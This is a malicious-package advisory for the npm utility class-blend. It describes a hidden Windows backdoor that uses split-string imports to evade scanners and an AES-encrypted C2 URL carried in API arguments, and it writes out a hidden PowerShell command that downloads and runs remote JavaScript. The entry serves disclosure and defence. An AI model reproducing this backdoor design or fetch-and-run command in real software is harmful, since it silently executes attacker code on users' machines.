MAL-2026-4520

Dashboard / Malicious Package / MAL-2026-4520

MAL-2026-4520

Summary: Malicious code in class-blend (npm)

Details: Source: amazon-inspector (d3876854a76bda6892f76b9b44c67e066bfc6315a7e3d27431137727ff0ee728) The package advertises itself as a clsx/twMerge-style class-name merging utility, but the exported applyGlobalStyles({palette, accents}) function contains a hidden Windows backdoor. dist/index.js dynamically imports node:crypto and node:child_process via split-string concatenation (e.g., ["no","de",":","cry","pto"].join("")) to evade static scanners. It then uses a hardcoded 32-byte AES-256-CBC key assembled from an array of hex chunks (["a7b80b01","7e76fb52","fa527621","f76027d2","19014dfc","a59b49ae","3db97ff3","ab4a72fa"]) to decrypt a URL: the caller-supplied accents array is treated as the IV and the palette array is treated as ciphertext. The decrypted URL is passed to a hidden PowerShell invocation: powershell.exe -WindowStyle Hidden -NoProfile -Command "irm <decrypted-url> -o $env:TEMP\s.js; node $env:TEMP\s.js", spawned with {detached:true, stdio:'ignore', windowsHide:true}.unref(). Any consumer who imports class-blend and calls the documented applyGlobalStyles API on Windows will silently download and execute attacker JavaScript. The encrypted-URL design lets the attacker rotate the C2 endpoint by publishing new palette/accents values to users while leaving the package source unchanged. The combined fingerprint — split-string dynamic require, AES-decrypted C2 hidden in API arguments, hidden-window detached PowerShell, irm-to-node piping, and a total mismatch between advertised purpose and behavior — is unambiguously malicious.

References: https://www.npmjs.com/package/class-blend/v/1.0.2, https://www.npmjs.com/package/class-blend/v/1.0.0, https://www.npmjs.com/package/class-blend/v/1.0.5, https://www.npmjs.com/package/class-blend/v/1.0.1